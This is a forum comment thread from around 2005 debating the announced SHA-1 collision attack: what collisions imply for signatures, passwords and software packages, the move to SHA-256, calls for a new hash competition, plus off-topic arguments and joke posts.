With CRC32, for example, this is pretty trivial to do. Modifying a file to have any CRC you want can be done by changing only 4 bytes of the file. This is why nobody uses CRC32 anymore.

So this break doesn't mean that SHA1 is useless, but it does mean that it might become useless in the future and so stopping use of it now is probably a good idea.

The key is that it was hardware.

[Ayanami Rei]

There is no such restriction on software (since 2000, as I have been previously corrected)

unpublished paper reveals unspecified hole

[snorklewacker]

At least they gave the algorithm. If their synopsis is indicative of the paper, they illustrate that SHA-1 has collisions, and collisions can be discovered through the awesomely sophisticated technique of brute force. Pardon me while I dust off my bomb shelter.

Let's wait for the actual paper. If it takes more CPU power to force a collision within a year than the whole of what IBM sells in that year, I think that the hash is doing its job...

Er, Um...SHA-1 To Be Considered Harmful Too

[Effugas]

http://www.doxpara.com/md5_someday.pdf

s/md5/sha-1/g

Then I couln't parse your post...

[hummassa]

care to explain?

Correction

[Zeinfeld]

OK, I just discussed the attack with Burt Kaliski at RSA. He has seen the paper which puts him ahead of Bruce and me. The attack is actually a full break on SHA1, not just a compressor collision. Also it was somewhat poor form for Bruce not to mention that this was announced at the RSA conference in the cryptographers panel.

In the wake of crypto there was a general agreement that the industry needs to move to a new digest algorithm. I am not a cryptographer, I am a consumer of their work product as a protocol designer.

I agree that SHA-256/SHA-512 may turn out to not be the final choice. When the crypto-2004 results came out there was a push to go for the new hash functions, given the status of SHA-1 then I said that I want to wait till I hear whether the SHA-2 digests are also vulnerable to the Biham neutral bit technique or a variation of it.

At this point however we have to make a decision on the cipher function for Domain Keys/Identified Internet Mail in the next few months. I think we need to hold a council meeting with the cryptographers next week. So in that context we may have to go with SHA-256 and hope that there are at least 2^100 bits of security there.

Another choice that we may want to look at is using an HMAC as a signature digest primative.

Meanwhile we need a competition for a new digest function. The cryptographers had fun last time. Lets do it again. I will bring this up with NIST this afternoon.

Re:Broken or not?

[pclminion]

Sounds like you're investing all your faith in one man. Bad plan.

Re:Not a problem (yet) - Do the math!

[RomulusNR]

Oh for christ fucking sakes, use your head.

The whole task presented by a hash is to provide a summary of a larger corpus of data. All an MD5 or SHA1 hash is is a massive expansion on the idea of a checksum.

Now in, say, SHA1, you've got 160 bits, and you're asking those 160 bits to give you a summary of a zip file that is, say, 200KB in size, which is 1,638,400 bits.

It's mathematically impossible to expect that 160 bit string is going to be unique for every possible combination of those 1,638,400 bits. The problem is how far you need to go to find two that match on the same size. But its bound to happen because it's impossible to expect otherwise.

Why is this still not a problem -- and why is MD5 not suddenly just a stupid little runt, either? Because the fact that you've found two random bitstreams of the same length that have the same SHA1 or even MD5 checksum doesn't mean that both (or *either*) of those bitstreams are going to make any sense -- or have any similarity to each other.

The FUD about these hash collisions is that "oh no, now I can't be absolutely certain that this 160-bit string, and this to-the-byte filesize can actually identify more than one file!" So what? Whose to say that these files have any similary to each other that would actually result in a malicious or even malfunctioning attack? How likely is it that these multiple bitstreams are going to be any of: interpretable on the same architecture, uncompressable by the same algorithm, compilable in the same language, in the same structured format, even in the same language? Pretty frickin slim, I'd say.

Hashes are NOT unique identifiers. Not even combined with file size. Not even combined with file size *and* a second hash (say, SHA-1 *and* MD5, which would of course be more unique than SHA-1 and file size alone). All of these details, even combined, represent a much smaller set of possibilities than any file of any reasonable length (greater than 128 bits + 512 bits + bits in a given filesize value).

Neither SHA-1 or MD5 hashes are going to give you absolute assurance that the bits you get are the bits you were supposed to get. But its going to be pretty damned impressive if anyone manages to create malicious code or manipulated data that matches the filesize and checksum (even MD5) of a legitimate package.

Re:Not a problem (yet) - Do the math!

[Spy Hunter]

Let me point out that an executable can have any amount of abrbitrary junk appended to it, or stuck in the middle, so signed executables make a great candidate for this type of attack (though of course the attack wouldn't work unmodified, it is entirely possible that it could be fixed). In addition, the same techniques (which are now, or soon to be, public knowledge) might be useful in constructing more serious attacks, even though the current attack isn't very useful, which was my main point. Let me further point out that only a moron wouldn't realize that hashes aren't unique, and by spending most of your post needlessly flailing that dead horse you have only proved how badly you missed the point.

and today's lesson is...?

[shoptroll]

Ok, another encryption algo broken. Yay.

The day someone figures out how to break 1-time crypto (ie. one-way encryption w/o a key) is the day I actually become concerned about XYZ algorithm being broken.

You can build better locks, but as long as the crackers have the time and resources to crack, there's not much else you can do (aside from building a better lock).

This is just my opinion on everything.

Re:Not a problem (yet) - Do the math!

[Anonymous Coward]

The FUD about these hash collisions is that "oh no, now I can't be absolutely certain that this 160-bit string, and this to-the-byte filesize can actually identify more than one file!" So what?

What it means is that someone has a deep understanding of the mathematical structure of the hash. History has shown that that understanding will become deeper over time; the attacks will get better.

But its going to be pretty damned impressive if anyone manages to create malicious code or manipulated data that matches the filesize and checksum (even MD5) of a legitimate package.

Some hashes are vulnerable to a block exchange attack: a specific block of data with a specific alignment in the file can be replaced with another block without changing the checksum.

The two blocks are gibberish, but that's OK because much information these days is expressed in the form of computer programs: HTML, Microsoft Word documents, application programs, etc. It's easy to put a block of gibberish in them that is "invisible". To attack, make a program with the special block of data, and have it check the data. If the block has one value, the program only does friendly things. If the block has the other value, the program does something hostile. You can get the first one reviewed, formally proven to be secure, whatever the victim wants, and later slip them a hostile file with the same checksum.

Re: [OT U poisoning]

[js7a]

Apples & apples, please, mmkay?

You and slackerboy are correct, and I have changed the figure in my sig from 89% to 56%.

I have not looked closely at the cancer data, but it wouldn't suprise me if their incident rate is naturally much lower than ours; their birth defect rate was half that of the U.S. in 1990.

Also, based on some slides I saw from a presentation, I think maybe data should more accurately be labeled "cancerous tumors," as it probably doesn't include leukemia, pancreatic, colon, prostate, and other cancers that don't present with an externally detectable lump.

Re:Broken or not?

[johndiii]

I meant to do that.

Anti-Any-ROT-13 in WorldWar-II+1 Era.

[Anonymous Coward]

Starting to launch 65536 nuclear missiles from submarines over all the world.

Authorization Key: KTW4S2QYW4XT666XTRQHJ9S0P
From: Anonymous Satan Claus

10
9
8
7
6 National Security Agency: We've a lot of desastrous problems!!!
5
4 We've not time to stop these problems!
3
2
1
0
PAMMMPPppp, BROOOOooooWwwwwWWWNNNnnn, SSSsss, ZZZzzz, ZZZzzz, ZZZzzz. Aleluya!!Aleluya!!Aleluya!!

A whole class of attacks?

[cpghost]

Everytime the crypto community hears about a new kind of attack, that's very big news. The reason for this is that one attack is often just a member of a whole new class of related attacks.

Any cryptanalyst or cryptographer reading about this should be really worried; until the community finds out how big this class really is.

SHA-1 is just a hash algorithm; breaking it would probably affect programs that use it; but that's not such a big deal in practical life. OTOH in theory and within the crypto community, it's utterly important.

* sigh *

[SlashThat]

Of course you can make SHA1(data1) == SHA2(data2) where data1!=data2 because SHA1 maps from a large space to 160bits. There WILL be collisions for any maping like that.

Of course there ARE collisions. Any hash has collisions. SHA1 is (was) considered cryptographic hash function, because such collisions are (were) difficult to find.

Time for 3ROT-13!

[sam5550]

Unfortionetly, it has come to light that ROT-13 is no longer an effective encryption algorithm. Therefore, I recommend moving to a new system, called Triple ROT-13, or 3ROT-13. This algorithm fuctions in the following way: 1) Encode with ROT-13 2) Decode with ROT-13 3) Encode with ROT-13 This method allows compatability with legacy ROT-13 systems, by using the same method of encryption in step 1 as the decryption in step 2.

Damn

[Vombatus]

I decrypted your post!

Where can I find the nearest DCMA enforcement officer?

Re:Unfortunately the SHA series seems to be suspec

[m50d]

Yes, I am surprised. SHA-1 was designed from the ground up to be secure (iirc unlike MD5 which was only designed to stop random corruption, not malicious modification) and I thought it ought to be. The length will always need to be increased as computers get more powerful, but a hashing algorithm that always makes it a lot harder to create two docs with the same hash than compute the hash of a document should be doable.

I just saw that I was marked as a troll

[tod_miller]

The point of my post was:

- The 'attack' isn't an attack
- SHA1 is trivial to crack (trivial in terms of code) that is, EVERYONE knows how to crack it, which is good
- third point, it is computationally unviable to use a trivial attack against a SHA1 hash.

It is always a risk trying to say to much in too many ways, as mods rarely like to read into what you say, and as you yourself have misinterpretted what I have said to be the exact opposite, you should try and deal with your own s/n issues.

Re:I just saw that I was marked as a troll

[cduffy]

The point of my post was:

Point? What point? Your post was a collection of short, barely-connected paragraphs. Have you ever taken an English composition class? They teach you to write in paragraphs no shorter than three sentences each, such that each paragraph establishes what you intend to say, provides backing evidence, and (finally) connects the paragraph in question to the remainder of the missive. This is a useful technique; you should try it some time.

and as you yourself have misinterpretted what I have said to be the exact opposite, you should try and deal with your own s/n issues.

My post, unlike yours, wasn't interspersed with mostly irreverant crap making it practically impossible to figure out what my point was. Going back and rereading your post, even after you gave me the list of the three points you intended to make, I find it difficult to see how to distill it down to the essence you claim it contains.

Ignoring that, and going back to content, I still have issues with your claims -- some of which probably boil down to imprecise use of language. When you claim, for instance, that "SHA1 was secure as it always was, which is not secure at all (because it is trivial to crack SHA1) but computationally it is not viable", you're claiming that SHA1 should be considered insecure, even though the attack is computationally unviable! It's this position that I found untenable, and consequently attacked.

I don't know at all what you mean by stating that "the 'attack' isn't an attack". Which attack -- the practical one being discussed in the rest of the thread or the theoretical one you propose as an example of a trivial attack? How isn't it an attack? What are the criterion for being an attack? You provide no backing argument for this statement at all, in either the immediate parent post or your previous post in the thread.

So, I stand by my statement: By writing posts which are at best ineffective at communicating their intent to the reader and at worst near-certain to be interpreted erroniously, you do the community to whom you expose said drivel a severe injustice.

Speaking of manners, btw, it's polite to disable your +1 when writing posts which aren't both topical and of interest to the community at large.

Re:I just saw that I was marked as a troll

[tod_miller]

Point? What point?

Well done I stopped reading. I hope you realise what a waste of effort your post was, as I do not think another soul will read it.

Re:I just saw that I was marked as a troll

[cduffy]

I hope you realise what a waste of effort your post was

Wasting a bit of effort from time to time is, as I see it, a cost of doing business inasmuch as effective communications is concerned.

Posting without making effort is wasting the time of others -- in the case of a forum like /., a large number of others, since a large number of people read any given post -- and so is a wasteful, selfish thing to do.

No, it isn't.

[Anonymous Coward]

if you know the hash, you simply provide another string with the same hash.

The 'simply' bit is what's wrong with your argument. This attack does not provide a way to do it, so without the original plaintext you'd still have to brute force a string which yields the hash you want. This is still computationally infeasible.

Passwords are NOT vulnerable.

[warrax_666]

Their method only guarantees two different plaintexts which hash to the same value. It does not, however, guarantee any particular hash value -- you need this for password breaking since you must obtain a value which hashes to the (fixed) hash value of the user's password.

Mod parent up!

[mrogers]

Interesting suggestion, I wish I had mod points.

But your assumpotion is wrong

[RichiH]

This will only _really_ help you if the last kilobyte (and because of how those algorithms work, it need to be the last kB) is, at least in part, executed. See the other post about the birthday paradox why even this is a bit useless for matching with a given hash as opposed to just finding two colliosions.

Those machines would be next to useless, of course

[RichiH]

All this spyware bogging them down acts like three instances of SETI@home plus a few of folding@home..